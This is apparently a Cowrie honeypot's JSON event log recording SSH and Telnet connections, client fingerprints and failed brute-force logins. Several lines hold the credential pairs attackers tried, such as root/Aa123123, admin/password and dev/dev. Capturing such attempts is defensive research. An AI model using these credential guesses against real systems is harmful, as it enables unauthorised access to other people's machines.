{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:08.175344Z","src_ip":"176.65.132.254","session":"0c04b1f9f2de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":53226,"dst_ip":"10.17.0.5","dst_port":23,"session":"339a8ca3864e","protocol":"telnet","message":"New connection: 62.210.97.77:53226 (10.17.0.5:23) [session: 339a8ca3864e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:08.241212Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123123","message":"login attempt [root/Aa123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:08.646840Z","src_ip":"176.65.132.254","session":"0c04b1f9f2de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":36690,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f5608f88e5b","protocol":"telnet","message":"New connection: 62.210.97.77:36690 (10.17.0.5:23) [session: 3f5608f88e5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:08.654486Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":36700,"dst_ip":"10.17.0.5","dst_port":23,"session":"84a2c4fe06ce","protocol":"telnet","message":"New connection: 62.210.97.77:36700 (10.17.0.5:23) [session: 84a2c4fe06ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:09.569619Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:09.744309Z","src_ip":"176.65.132.254","session":"0c04b1f9f2de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":43702,"dst_ip":"10.17.0.5","dst_port":23,"session":"e87dc5ba177d","protocol":"telnet","message":"New connection: 165.232.131.181:43702 (10.17.0.5:23) [session: e87dc5ba177d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:10.169598Z"}
{"eventid":"cowrie.session.closed","duration":43.82405209541321,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:12.278104Z","src_ip":"134.209.8.29","session":"72d5dbe7e0b8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":51078,"dst_ip":"10.17.0.5","dst_port":22,"session":"e794d23d6f1c","protocol":"ssh","message":"New connection: 176.65.132.254:51078 (10.17.0.5:22) [session: e794d23d6f1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:12.392066Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:12.398146Z","src_ip":"176.65.132.254","session":"e794d23d6f1c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:12.481696Z","src_ip":"176.65.132.254","session":"e794d23d6f1c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"password","message":"login attempt [admin/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:12.750656Z","src_ip":"176.65.132.254","session":"e794d23d6f1c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":36706,"dst_ip":"10.17.0.5","dst_port":23,"session":"f7609efcc636","protocol":"telnet","message":"New connection: 62.210.97.77:36706 (10.17.0.5:23) [session: f7609efcc636]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:13.274184Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":36720,"dst_ip":"10.17.0.5","dst_port":23,"session":"4df5ef624eca","protocol":"telnet","message":"New connection: 62.210.97.77:36720 (10.17.0.5:23) [session: 4df5ef624eca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:13.818423Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:13.991422Z","src_ip":"176.65.132.254","session":"e794d23d6f1c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.5664222240448,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:15.348599Z","src_ip":"62.210.97.77","session":"11e27161073c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":36722,"dst_ip":"10.17.0.5","dst_port":23,"session":"2035689fe7d5","protocol":"telnet","message":"New connection: 62.210.97.77:36722 (10.17.0.5:23) [session: 2035689fe7d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:15.373894Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":36734,"dst_ip":"10.17.0.5","dst_port":23,"session":"c6a75672d0d6","protocol":"telnet","message":"New connection: 62.210.97.77:36734 (10.17.0.5:23) [session: c6a75672d0d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:15.639215Z"}
{"eventid":"cowrie.session.connect","src_ip":"136.144.139.78","src_port":59538,"dst_ip":"159.203.135.109","dst_port":23,"session":"fe3efa621217","protocol":"telnet","message":"New connection: 136.144.139.78:59538 (159.203.135.109:23) [session: fe3efa621217]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:15.761741Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":36748,"dst_ip":"10.17.0.5","dst_port":23,"session":"e6788820e05b","protocol":"telnet","message":"New connection: 62.210.97.77:36748 (10.17.0.5:23) [session: e6788820e05b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:16.715783Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":51092,"dst_ip":"10.17.0.5","dst_port":22,"session":"82dcd8f384eb","protocol":"ssh","message":"New connection: 176.65.132.254:51092 (10.17.0.5:22) [session: 82dcd8f384eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:16.834774Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:16.839933Z","src_ip":"176.65.132.254","session":"82dcd8f384eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:16.925366Z","src_ip":"176.65.132.254","session":"82dcd8f384eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fastuser","password":"fastuser","message":"login attempt [fastuser/fastuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:17.172510Z","src_ip":"176.65.132.254","session":"82dcd8f384eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":47774,"dst_ip":"10.17.0.5","dst_port":23,"session":"8dba0707c921","protocol":"telnet","message":"New connection: 38.54.119.93:47774 (10.17.0.5:23) [session: 8dba0707c921]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:17.238992Z"}
{"eventid":"cowrie.session.closed","duration":42.783507347106934,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:17.614812Z","src_ip":"65.60.27.33","session":"172174049dda","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":36754,"dst_ip":"10.17.0.5","dst_port":23,"session":"295bc9883e27","protocol":"telnet","message":"New connection: 62.210.97.77:36754 (10.17.0.5:23) [session: 295bc9883e27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:17.641179Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:18.260477Z","src_ip":"176.65.132.254","session":"82dcd8f384eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.39789438247681,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:19.577980Z","src_ip":"62.210.97.77","session":"350a384cd6e5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":57904,"dst_ip":"10.17.0.5","dst_port":23,"session":"0ccff1312c9b","protocol":"telnet","message":"New connection: 62.210.97.77:57904 (10.17.0.5:23) [session: 0ccff1312c9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:20.430844Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":51112,"dst_ip":"10.17.0.5","dst_port":22,"session":"3b5ebb8b76c8","protocol":"ssh","message":"New connection: 176.65.132.254:51112 (10.17.0.5:22) [session: 3b5ebb8b76c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:21.019770Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:21.024791Z","src_ip":"176.65.132.254","session":"3b5ebb8b76c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:21.109948Z","src_ip":"176.65.132.254","session":"3b5ebb8b76c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":57914,"dst_ip":"10.17.0.5","dst_port":23,"session":"06698d269ac9","protocol":"telnet","message":"New connection: 62.210.97.77:57914 (10.17.0.5:23) [session: 06698d269ac9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:21.125487Z"}
{"eventid":"cowrie.session.closed","duration":38.54869341850281,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:21.344863Z","src_ip":"62.210.97.77","session":"bbc55e58a39c","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"dev","password":"dev","message":"login attempt [dev/dev] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:21.357567Z","src_ip":"176.65.132.254","session":"3b5ebb8b76c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":48882,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce36c9ec6592","protocol":"telnet","message":"New connection: 65.60.27.33:48882 (10.17.0.5:23) [session: ce36c9ec6592]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:21.541992Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":57920,"dst_ip":"10.17.0.5","dst_port":23,"session":"9dce2855af28","protocol":"telnet","message":"New connection: 62.210.97.77:57920 (10.17.0.5:23) [session: 9dce2855af28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:21.764972Z"}
{"eventid":"cowrie.session.closed","duration":36.40759086608887,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:22.145730Z","src_ip":"62.210.97.77","session":"2942697ba6cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:22.444813Z","src_ip":"176.65.132.254","session":"3b5ebb8b76c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.4932050704956055,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:22.732124Z","src_ip":"38.54.119.93","session":"8dba0707c921","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.87368035316467,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:23.134231Z","src_ip":"62.210.97.77","session":"61080cedd60b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":57930,"dst_ip":"10.17.0.5","dst_port":23,"session":"2535f2d0be75","protocol":"telnet","message":"New connection: 62.210.97.77:57930 (10.17.0.5:23) [session: 2535f2d0be75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:23.414176Z"}
{"eventid":"cowrie.session.closed","duration":48.052804708480835,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:23.442877Z","src_ip":"65.60.27.33","session":"869229810392","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":57942,"dst_ip":"10.17.0.5","dst_port":23,"session":"82cd73790ba8","protocol":"telnet","message":"New connection: 62.210.97.77:57942 (10.17.0.5:23) [session: 82cd73790ba8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:24.959137Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":60966,"dst_ip":"10.17.0.5","dst_port":22,"session":"157273c42023","protocol":"ssh","message":"New connection: 176.65.132.254:60966 (10.17.0.5:22) [session: 157273c42023]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:25.412992Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:25.417707Z","src_ip":"176.65.132.254","session":"157273c42023","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:25.504668Z","src_ip":"176.65.132.254","session":"157273c42023","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin123","message":"login attempt [root/Admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:25.759520Z","src_ip":"176.65.132.254","session":"157273c42023","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.188016176223755,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:25.896837Z","src_ip":"62.210.97.77","session":"df456d88ffa6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"177.148.202.119","src_port":33162,"dst_ip":"159.203.135.109","dst_port":23,"session":"7d4105e7ae2a","protocol":"telnet","message":"New connection: 177.148.202.119:33162 (159.203.135.109:23) [session: 7d4105e7ae2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:26.618857Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:26.846032Z","src_ip":"176.65.132.254","session":"157273c42023","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.55084705352783,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:27.684800Z","src_ip":"62.210.97.77","session":"e6bbc1146553","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":57954,"dst_ip":"10.17.0.5","dst_port":23,"session":"75e8487f5c4c","protocol":"telnet","message":"New connection: 62.210.97.77:57954 (10.17.0.5:23) [session: 75e8487f5c4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:27.722565Z"}
{"eventid":"cowrie.session.closed","duration":35.166720390319824,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:27.770602Z","src_ip":"62.210.97.77","session":"94f5415e881f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":57958,"dst_ip":"10.17.0.5","dst_port":23,"session":"c194805f2427","protocol":"telnet","message":"New connection: 62.210.97.77:57958 (10.17.0.5:23) [session: c194805f2427]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:28.191402Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":44050,"dst_ip":"10.17.0.5","dst_port":23,"session":"23e905096a68","protocol":"telnet","message":"New connection: 62.210.97.77:44050 (10.17.0.5:23) [session: 23e905096a68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:29.503354Z"}
